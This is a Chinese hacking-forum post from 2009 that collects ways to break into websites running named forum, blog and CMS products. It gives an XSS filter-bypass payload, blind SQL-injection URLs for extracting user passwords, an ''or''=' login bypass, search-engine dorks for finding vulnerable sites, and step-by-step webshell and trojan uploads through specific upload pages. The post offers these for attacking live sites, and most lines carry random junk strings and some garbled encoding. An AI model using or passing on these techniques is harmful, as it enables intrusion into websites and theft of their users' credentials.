找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1108|回复: 0

入侵网站的各种漏洞的利用

[复制链接]

22

主题

126

回帖

223

牛毛

一级牛人

积分
223
发表于 2009-7-5 06:09:41 | 显示全部楼层 |阅读模式 来自 贵州省毕节市
asp动网论坛漏洞分析     f34&:xz2U  
eCD,[At/  
1、这个漏洞不算太严重,用过动网论坛的人都知道,发帖时直接写javascript会被过滤拆分,写http会自动加上链接,漏洞就在此,在这两个地方变通一下,把两个单词的某个字母换成编码形式,然后系统再对应地解码回字母,就达到了避免被过滤的目的。例子说明一下,在发帖时写入[img]javas&#x63ript:window.open(‘htt&#x70://www.fwcn.com’,’’)[/img]很清楚地看到,#x63解码的字母是"c",#x70解码的字母是"p",&起到连接作用,最后加上[img],使JS被触发,如果论坛支持flash插入,用[swf]也可。利用这个漏洞可以搞些恶作剧,写上诱人的主题,点进去结果是他的主页(骗点击率,作广告),甚至更绝,连到一个有病毒、木马的网页上,让你直想骂娘。这个漏洞存在于动网的各个版本,包括较新的0519版,覆盖面积之广让人瞠目,各人认为应该对某些非法字符进行检测剔除,而非简简单单地拆分了事,真希望动网开发者能尽早补上这漏洞。     "s9gQAoaO  
-74T C  
2、比起前者,第二个漏洞问题就大啦,利用该漏洞可以破解掉论坛上所有注册会员的密码(恐怖~~~),由于论坛管理员通常直接把论坛程序载下来梢加以美工就拿来使用了,图方便直接导致了漏洞的出现,我们也载一个回来,只要看一下动网的数据库,就知道了密码的字段为userpassword,接着例如要破一个名叫abc的用户密码,首先察看abc的用户资料,给出的连接是http://xxxxx/dispuser.asp?name=abc ,在dispuser.asp中,读取参数的语句是:username=trim(request("name")),数据库的查询的语句是: sql="select from [user] where username=’"&username&"’",看得出来, abc就是直接被作为了dispuer的一个参数username,另外,如果该用户不存在,程序就会给出提示,既然如此,我们就再写入个查询密码的条件,在where username=abc后面加上and userpassword="",理论上这样就可以实现对密码的破解了,但这么破要破到何年何月,现在就要轮到VBS函数大显身手了,可以先用len函数试出用户的密码位数,地址就这么写http://xxxxx/dispuser.asp?name=abc'%20and%20len(userpassword)=5%20and%20’1’=’1,这么看可能不好理解,放到sql语句里其实就是这副样子:sql="select from [User] where username=’abc’ and len(UserPassword)=5 and ’1’=’1’",现在明白点了吧,%20是空格,abc后面的单引号和’1’=’1里的单引号都是为了和sql语句相匹配。奇怪,该用户不存在,喔?那就说明符合这个条件的用户没有,继续,把5换成6,7,8,依此类推,只要能显示出用户资料了,就说明密码位数猜对了。接下来要做的就是试每位的密码是多少了,继续要用到VBS,可以用left或right或mid函数,http://xxxxx/dispuser.asp?name=abc'%20and%20left(userpassword,1)=’a,如果猜对了就给出用户资料,猜对了就给出该用户不存在的提示,这样子还是嫌太慢,那就在外面再套个asc函数,http://xxxxx/dispuser.asp?name=abc'%20and%20asc(mid(userpassword,1,1))>’50 试出用户密码的ASCII码是否大于50,不断地缩小范围,相信很快就能将范围缩小至个位数,看到这里你是否惊出了一身冷汗,起码我是如此,几个函数的灵活运用,保守地说,不出半小时就能破解出密码。真是不幸中的大幸,动网开发者在后来的05版后使用了MD5的加密,这下子总算放心了,但介于国内还有许多地方在使用老版本的动网论坛(包括一个小有名气的flash站点)     Un{ln*AR\  
4+,Z'J%\[7  
3 、动网SQL语句漏洞     Z]\^.x9S  
此漏洞针对动网SQL版本。     rF3]AW(  
测试方法:在http://ip/bbs/admin_index.asp 输入用户名是’or’’=’ 密码也是这个     ; @~*z4U  
这样可以跳过认证     5>Yd\(`K  
原理:利用SQL语法。输入的密码和ID就成为一个合法的SQL语句,直接跳过认证。     1[9j`~[([  
此漏洞并不针对动网。很多SQL的ASP都会有这个漏洞     ;XQ lj?:  
)uuEOF"w  
4、动网论坛sp2漏洞(此漏洞影响范围甚大,动网官方站、黑客防线、安全基地都曾因此被黑过,具体资料大家可以在百度搜一下)     fO!O" D5  
上传漏洞路径:reg_upload.asp及upfile.asp     _x1[$A,GuB  
y$V)^-U>fw  
青创文章系统     %kFELtx  
c )7j QA  
打开google 输入.tw qcdn (或者是去百度搜索 Powered by:QCDN_NEWS 但大多数是中国的)     K]xa/G(  
青创文章系统     !SKV!xH9  
上传漏洞。在网址后加/admin_upfile.asp 如果出现。     **>/}.%?K  
Microsoft VBScript 磅︽顶琿岿粇 岿粇 ’800a01b6’     ,Os? f:Y6  
ンぃや穿妮┦┪よ猭: ’form’     Ac|5. ?|N  
/article/admin_upfile.asp, 21     ejXMKPE;  
就代表已经有90%以上的希望了     :|1.seLQ  
桂林老兵的上传工具上传木马     ggb |Ew  
入侵的時候發現admin_upfile.asp改了。你也可以改成user_upfile.asp也上傳傳馬馬。還有一個方法就是把admin_upfile.asp user_upfile.asp加到注入工裏邊     /VHi >  
,DnYtIERo  
青创文章管理系统注入功击     4l8BQz}sb  
关键字"list.asp?unid="     #&,H"?"  
工具:     uENdI2EY8y  
  1、NBSI好像大部分黑客站点都有得下。     [t0rfl{.  
  2、MD5Crack2,破解MD5加密的软件(磊子推荐:dos下DV.exe比较好用)     ~2_lp^Y  
第一次检测的时候,会报告"暂未检测到注入漏洞";然后在"特征字符"输入"Unid"     @oe\"vz  
(提示:"Unid"中的" U "一定要是大写的     %|XE#hw  
EqM;LgE=  
"飞龙文章管理系统" 漏洞     <Mf*l)%*  
G { mC7@  
飞龙文章管理系统 Ver 2.0 Build 200****0620 正式版漏洞利用     tjv\)Nn'  
搜索"Article.asp?ArtID="关键字     #2%([w  
漏洞文件在     2'{}<9  
admin_upfile.asp     et$uP  
user_upfile.asp     t;#Gmo  
这两个文件"upfile.asp"     RIhOR8 )  
动网漏洞的再现     %cW;}Y[?P  
上传时cookie中加"ArtID=1111;"     [BXyi  
6[==BbZ  
phpwind 1.3.6 的论坛漏洞的利用     5}a "?5J^  
搜索关键字"POWER BY PHPWIND v1.3.6"     D<nxr~pQ  
eF1.VLI  
phpwind1.3.6论坛利用程序 "群共享"中有上传     *]{=8zc2  
m y,x9UPs  
保存后,木马地址为当前目录下的faq.php     \GHOg. P  
uL>:tb  
在本机用如下表单进行提交:     WF)s*$'uz;  
AM?Ec1S #a  
上传成功后的木马存在论坛目录下     3M$X:$b  
直接访问就行!     :A*0]X;  
._ih$=   
漏洞集合     Y^5"qd|`  
/h-6CR Ka  
1)Co Net MiB Ver1.0~4.0   )rbc;{.  
um}N%5GAa  
2)ASP Calendar漏洞 请在google搜索Maintained with the Ocean12 ASP Calendar Manager v1.01这个信息,程序的默认数据库为o12cal.mdb(非MD5加密,明文保存)     xiJz`KD&  
}8 \|1@09  
3)**漏洞 我们打开www.baidu.com或是www.google.com     }JH`' &3  
在搜索里输入 请各位验证会员料     ?d#Lr*m  
http://www.3589.com/tian/4login.asp把4login.asp改成conn.inc     #B\B(y  
Q+HZ?V(  
<%DBPath=Server.MapPath("wz520#.mdb")     at=D&oy4"+  
Set conn=Server.CreateObject("ADODB.Connection")     b%<164i  
conn.Open "Driver={Microsoft Access Driver (.mdb)};DBQ="&DBPath%>     FE>3 D 1\  
`|uoqKv  
wz520#.mdb,他就是数据库了。#改成%23就可以下载数据库了      JUmw$u  
#i@ACAgn;6  
4)青创文章系统出现严重漏洞 在网址后加/admin_upfile.asp上传WEBSHELL     OA!R5sOz"  
/cM 5  
百度搜索 Powered by:QCDN_NEWS 台湾.tw qcdn。     vQ_D% f4;  
v<u`wnt  
还可以用%5c暴库,通杀     @!np 0#  
c7~>uNgJ  
"list.asp?unid=" " .tw/list.asp?unid= " 存在注入在"特征字符"输入"Unid"     D *Hy 2eZ.  
("Unid"中的" U "一定要是大写的)     ==XO:P  
%j4AX  
5)自由动力3.6的软件上传过滤不严用WinHex.exe和WSockExpert.exe修改上传木马     L5{DW m~@  
XUK!1}  
E时代驿站漏洞     c7R<5f  
百度搜索"E时代驿站"     I|eYeJ3  
漏洞利用页面 /upload.asp 用老兵直接上传     QHm F,P  
q37d:Hp  
沸腾新闻系统上传漏洞     2zN"*Wkn  
搜索:沸腾展望新闻系统[核心:尘缘雅境]授权使用     vOV$Hle  
漏洞:没有对空格进行严格的限制。     E Z+L'  
所以,我们直接选定要上传的asp木马,然后在后面加上空格     \&#IK9x{  
它的上传文件是UploadFaceOK.asp     XFmTr@\M  
=b_/_b$q  
尘缘雅境      J]4pPDm  
fMl uVND  
在GOOGLE里搜索关键词: V1.0 ACCESS Finish,就会看     ;t\oM7J|  
到出现了     5e|yW0o  
一大堆     j[Z<|Da  
使用尘缘雅境系统的网站.比如说他的网站首页     ~9ynlVb7)r  
http://www.xx.com/asfq/index.asp,那么就要这样填写     kR/Etm5_  
http://www.xx.com/asfq/admin/uploadfaceok.asp,[漏洞目     L&LAh&%{2  
录]:/asfq/admin     ?,  m_q+  
(注意一定要加上admin),[漏洞文件]一般不用改,不过有     ArVW2gL  
些老版的     FT[of(g^  
尘缘系统     G}LOQ7  
的漏洞文件是uploadok.asp,如果uploadfaceok.asp不成功     Wf{&D>  
再改     zXaA5rZO  
vn1*D-?  
OFSTAR论坛漏洞利用程序(群共享中)     KmpKyc[  
搜索: powered by ofstar.net     Pj ^O8  
1:输入管理员用户名 2:输入任意一个帖子的路径!     &Pe[kCO]  
=;{8)m  
3:单击获取密码,可以截取到管理员的MD5密码!是32位加密的!     PwC^ ]e  
C: ntr=3J  
4:单击直接登陆按钮!程序会自动构造Cookies进行登陆!单击管理栏的"超管"可直接进入后台!     1EQLsg`d^  
>2ny/AK|  
上传木马: 选择后台的论坛管理=>风格摸版设置 插入以下代码! (其实上传shell部分和PHPWind一样)     suE#'0K  
5"z~BE7  
然后使用提交页面提交``可以直接拿到shell!     ,:pKNWY)Q  
<4Ik]Uz^  
破废墟BLOG漏洞     K}8wCS F  
百度搜:"破废墟 Bloging"     zv~b-Tp  
在后面加上;upfile.asp     ~`<_xIvrq  
结果返回:"DLOG错误:提交的数据来自网站外部 | 返 回     ni-4 ~k  
或者 您要访问的网页有问题,无法显示。     [Y8ot-6  
HTTP 500 - 内部服务器错误     M [6WcH0/T  
这说明这个文件是存在的,但是无法正常的访问,其实我们也可以利用     6&L8 {P  
直接用老兵上传木马http://www.xxxxx.com/blog/upfile.asp     .1h1J  
g&d tOjM  
极限论坛系统漏洞     ^A$p)`KR  
用"EzRick.com All Rights"做关键字搜索     ZCDcf   
论坛的置顶帖子存在注入漏洞,大家打开置顶帖子后联接都是这种形式"showtopic.asp?TOPIC_ID=111&Forum_ID=11"当我们去掉后面的"&Forum_ID=11",注入点就出现了。     ya'OI P `  
然后我们在注入猜解工具的表段名里面添加上"Forum_UserDB"就可以跑出论坛的用户名和16位md5密码散列     qWw{c&{Q],  
k[/`G5  
暴库入侵 OBLOG!     QIMoe'p  
搜索 :powered by OBlog     NJ;D Qv  
暴库示例 :     %;r0,lN|II  
http:///blog/index.asp?classid=3     $# /-+>  
将以上连接中的最后一个正斜杠"/"改为"%5c"     $bd&$@sA  
http:///blog%5cindex.asp?classid=3     |Ts|>"F'  
2)A% 'Akf  
截止powered by OBlog ver2.22之前90%的OBLOG站点都能暴库     <&+\X6w[  
Vk/ !_)  
阿天在线整站上传漏洞     FC:+[.fi  
百度搜索:阿天在线     =q%Q^  
漏洞利用很简单     b=5"*=T{+  
直接用老兵上传工具就可以搞顶     KkIxtFM  
漏洞文件是mg_upfile.asp     #^+C k HX  
)<?^~"h  
"动感系统"的上传漏洞     4@b~)av)  
M x/G^yO9  
漏洞的文件就是根目录下的upfile.asp     Dsl,(qm5  
在百度里搜     Q"6:W2#v  
inurl: (SoftView.Asp?SoftID=)     =RA8^wI  
这样找的是Access版的     E%[2NsOM]  
inurl: (/SoftView/SoftView_)     6aw1  
这样找到的都是SQL版的     p;y\%i_  
}f l4^F  
net pic PHP程序的漏洞利用     n(}W[bZ4  
w$aiVOjgT  
当PHP程序有指定PATH时,在PATH文件后门加入可以     m@Q%)sc)  
上传任意文件.     Vr<eU>W  
在百度里搜索"NEATPIC PHP目录直读版 1.2.3"你会找到很     33M10 1X{6  
多装有些程序的站点     I+!?~]AUuq  
7)i6L'r  
www.google.com中输入"版本:Joekoe V6.0"     <`f~Z|/-_(  
或者在www.baidu.com中查询"关于我们 ┋ 网站留言 ┋ 友情链接 ┋ 与我在线"     ndXUR4  
会找到很多joekoe论坛的地址     +kj d;u#  
O$K?2-  
使用方法:     67{3/(`x  
"Yy)&zKr  
例如网址为http://www.xxx.com/yyy/forum.asp     V49[XX  
在主机名中输入www.xxx.com     K]Rb~+a<  
在发送主机路径中输入/yyy/upload.asp     5i eF8F%  
点击发送即可     jg3 X6/'  
8ED}!;ZU  
使用木马asp     rF:l+I]  
在回应信息中出现上传成功的提示后,在ie地址栏中输入     Y *?hA'  
http://www.xxx.com/yyy/upload/forum/newmm.asp即可     G1?m}{ D)  
}n;.E&<[  
www.baidu.com中输入"卓越网站快车"     ` & {  
会找到很多相关的地址     J!"#N}[  
7c>{og6  
使用方法:     _WB*ArR  
h5p,BRtu  
例如网址为http://http://www.xxx.cn/htdocs/index.asp     U!D\Vd  
在主机名中输入www.xxx.com     {I p)%uR  
在发送主机路径中输入/htdocs/system/user/upimg1/fileupimg3.asp.如果没有/htdocs的虚拟目录,则不用改变默认值.     a&)4Dv0  
点击发送即可     daN#6e4Z+;  
m>8tA+K)+)  
使用木马asp     #1VejeTi  
在回应信息中出现上传成功的提示后,在"上传的asp文件名中"的编辑框中     5nh:S0M6V  
会出现上传成功的asp名称.例如     3lo.YLP^  
HTTP://www.xxx.cn/htdocs/FICE/UP/20041122234053.cdx.asp ^E|{i]j#f
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-25 23:16 , Processed in 0.161882 second(s), 30 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表